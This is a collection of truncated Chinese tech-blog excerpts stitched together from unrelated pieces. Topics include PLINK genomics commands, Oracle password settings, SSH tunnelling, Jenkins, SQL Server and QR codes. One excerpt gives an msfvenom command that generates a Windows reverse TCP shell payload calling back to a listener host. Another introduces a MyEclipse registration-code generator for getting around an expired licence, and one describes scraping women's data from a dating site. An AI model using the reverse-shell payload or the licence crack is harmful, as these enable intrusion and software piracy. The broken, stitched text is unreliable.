一.为什么要做祖先成分的PCA? GWAS研究时经常碰到群体分层的现象,即该群体的祖先来源多样性,我们知道的,不同群体SNP频率不一样,导致后面做关联分析的时候可能出现假阳性位点(不一定是显著信号位点与该表型有关,可能是与群体SNP频率差异有关),因此我们需要在关联分析前对该群体做PCA分析,随后将PCA结果作为协变量加入关联分析中. 二.怎么做PCA? 简单一个“--pca”参数即可 plink --bfile myfile --pca 10 --out myfile_pca #这里只取前10

FAILED_LOGIN_ATTEMPTS 用于指定连续登陆失败的最大次数 达到最大次数后,用户会被锁定,登陆时提示ORA-28000 UNLIMITED为不限制 精确无误差 是 实时 PASSWORD_LIFE_TIME 用于指定密码有效天数 最少为1,UNLIMITED为不限制 如果已经有用户被提示ORA-28002错误,需要重新修改一次密码,即使此资源已经设置为UNLIMITED 精确无误差 否,始终开启 PASSWORD_REUSE_TIME 用于指定密码可重用时间 UNLIMITED为

PLINK提供了“--ld”的参数计算两个SNP位点的连锁不平衡值. 命令如下: plink --file file --ld rs123 rs134 --out rs123_rs134 生成如下数据: --ld rs123 rs134: R-sq = 0.0313386       D' = 1 Haplotype Frequency Expectation under LE --------- --------- -------------------- TG 0 0.022549 CG 0

一般来说有两种解决方案. 第一种:添加“--plink-tped”参数: 用vcftools的“--plink”参数生成plink格式文件时,小样本量测试可以正常生成plink格式,用大样本量时产生Writing PLINK PED and MAP files ... Error:  Could not open temporary file.报错,于是尝试将“--plink"参数修改为”--plink-tped“参数,成功运行,具体如下: /bin/vcftools --vcf 1000Gen

由于plink1.9和1.07这两个版本互掐,经常出现各种不兼容问题,“.bim file has a split chromosome.  Use --make-bed by itself to remedy this.”报错就是一个典型的版本问题,版本1.9解决这种问题需要用到以下命令行: plink --bfile oldfile --make-bed --out newfile 用--make-bed重新生成一次文件即可.

命令行如下: plink --file FILENAME --make-bed --out FILENAME 第一个FILENAME的后缀为.ped和.map,生成的第二个FILENAME的后缀为.bed..bim..fam 参考链接: https://www.biostars.org/p/203706/

plink1.9版本支持转化为VCFv4.2格式 plink2.0版本支持转化为VCFv4.3格式 两个版本用到的命令不一样 对于plink1.9版本,转化为vcf文件的命令行为: plink --bfile binary_fileset --recode vcf-iid --out new_vcf 生成的vcf为4.2版本 对于plink2.0版本,转化为vcf文件的命令行为: plink --bfile binary_fileset --export vcf --out new_vcf 生成

如果需要使用远端服务器的DNS:在Firefox中about:config设置 network.proxy.socks_remote_dns ==> true 参考原文:http://thinkhole.org/wp/2006/05/10/howto-secure-firefox-and-im-with-putty/加密传输的机制如下: / foo.com 浏览器 <==secure tunnel==>ssh server - bar.com \ example.com 浏览器先通过加密

MSFVENOM SHELLCODE生成 通用Shellcode msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f c -e generic/none Windows反向TCP Shell(Shellcode x86) 如果有效负载大小没有问题并且您不能确定错误的字符,请仅使用此代码: msfvenom -a x86 --platform windows -

当我们进行群体遗传分析时,得到vcf后,可利用plink进行主成分(PCA)分析: 一.软件安装 1 conda install plink 二.使用流程 第一步:将vcf转换为plink格式 1 plink --vcf F_M_trans.recode.vcf.gz --recode --out testacc --const-fid --allow-extra-chr 2 3 4 # --vcf vcf 或者vcf.gz 5 # --recode 输出格式 6 # --out 输入前缀 7

最近在做基于jenkins ant  junit 的测试持续集成,单独ant junit生成的junitreport报告打开正常,使用Jenkins的HTML Publisher Plugin 插件无法正常展示报告内容,仅有三个frame占位框,如下图所示 这是由于jenkins一些安全设置导致的展示不全问题,点击F12,可以看到如下报错 解决办法 方法一:登陆jenkins系统,点击"系统管理"----"脚本命令行",执行如下命令,重新刷新JunitReport日

SQL Server镜像自动生成脚本 镜像的搭建非常繁琐,花了一点时间写了这个脚本,方便大家搭建镜像 执行完这个镜像脚本之后,最好在每台机器都绑定一下hosts文件,不然的话,镜像可能会不work 192.168.1.1 WSQL01192.168.1.2 WSQL02192.168.1.3 WWEB03 SQL2008R2升级到SQL2014,升级之前先对数据库进行完整和日志备份,以免升级失败 请注意:--★Do部分都是需要填写的 -- ============================

将表里的数据批量生成INSERT语句的存储过程 增强版 有时候,我们需要将某个表里的数据全部或者根据查询条件导出来,迁移到另一个相同结构的库中 目前SQL Server里面是没有相关的工具根据查询条件来生成INSERT语句的,只有借助第三方工具(third party tools) 这种脚本网上也有很多,但是网上的脚本还是欠缺一些规范和功能,例如:我只想导出特定查询条件的数据,网上的脚本都是导出全表数据 如果表很大,对性能会有很大影响 这里有一个存储过程(适用于SQLServer2005 或以上

直接切入正题,这是我09年到11年左右业余时间编写的项目,最初的想法很简单,做一个能拖拖拽拽就直接生成应用程序的工具,不用写代码,把能想到的业务操作全部封装起来,通过配置的方式把这些业务操作组织起来运行. 项目的核心功能已经基本实现,但12年之后我基本停止了这方面的开发,现在翻出来在这里写出来想和大家交流一下. 鉴于篇幅和精力的原因,请原谅我这篇博文对于技术实现的具体细节谈的不是很多,只能算是一个概述.对业务的说明也不多,我想大家都是技术流,应该一看就明白. 写这个项目的时间是五六年前,现在回过

网络上已经有非常多的二维码编码和解码工具和代码,很多都是服务器端的,也就是说需要一台服务器才能提供二维码的生成.本着对服务器性能的考虑,这种小事情都让服务器去做,感觉对不住服务器,尤其是对于大流量的网站,虽然有服务器端缓存,毕竟需要大量的CPU运算时间,这或多或少也是很大的一块压力.所以就想,有没有一种不靠服务器,就只靠JS就生成二维码呢,毕竟二维码就是一堆黑白点而已.我也没有刻意去找网络上是否已经存在这样的解决方案,而且自己一直想深入分析二维码的生成细节,现有的项目也有这样的需求,于是我自己研

1.每次我们在MyEclispe中创建Jsp页面,生成的Jsp页面的默认编码是"ISO-8859-1".在这种情况下,当我们在页面中编写的内容存在中文的时候,就无法进行保存.如下图所示: 2.对于这种情况,如果我们想在jsp页面中编写中文内容,该怎么解决呢.其实我们可以通过设置每次生成Jsp默认的编码为utf-8,这样子我们就可以在jsp页面中写中文的内容了,而且还可以一劳永逸.具体步骤如下: MyEclipse,点击菜单上的     window--->preferences-

二维码扫描 前言: 最近的项目中使用到了二维码,二维码这个模块功能也完成:觉得还是有必要总结一下用来做记录.好长时间没有写二维码了都忘记在差不多了,重新拾起来还是挻快的. 二维码使用场景: 生活中有很多的地方都在使用,比如把它分享给朋友,通过扫描来关注平台.它的功能有生成二维码.扫描二维码.从相册中读取二维码.主要从这几个方面来讲二维码的使用,最后会封装一个方便快捷使用的库,供想快速集成的使用者. 1.生成二维码 效果图: 1. 创建二维码滤镜--CIFilter 1.1 恢复滤镜的默认属性 1

最近在看<机器学习实战>的时候萌生了一个想法,自己去网上爬一些数据按照书上的方法处理一下,不仅可以加深自己对书本的理解,顺便还可以在github拉拉人气.刚好在看决策树这一章,书里面的理论和例子让我觉得这个理论和选择对象简直不能再贴切,看完长相看学历,看完学历看收入.如果可以从婚恋网站上爬取女性的数据信息,手动给她们打标签,并根据这些数据构建决策树,不就可以找出自己的择偶模式了吗!github项目:huatian-funny,下面就详细的阐释一下. 数据爬取 之前在世纪佳缘上爬取过类似的数据,

今天正在使用的MyEclipse出现了使用过期,在网上发现一个可以生成注册码的程序,现在分享给各位. /** * myEclipse生成注册码 * 点击顶部:MyEclipse --> subscription information 即可进入update subscription界面 */ public class Test { private static final String LL = "Decompiling this copyrighted software is a vio

一.需求 用户对不同的应用需要有不同的权限,用户一般和角色关联在一起,新建角色的时候会选择该角色对应的应用,然后对应用分配权限.于是写了一种实现的方式.首先应用是一个二级树,一级表示的是应用分组,二级表示的是应用,这是table的最左边的数据.然后是按钮的数据,这里显示在table的头部. 二.效果图如下 三.具体代码 1.RoleApplicationTable.js import React from 'react'; import RoleCheckbox from 'components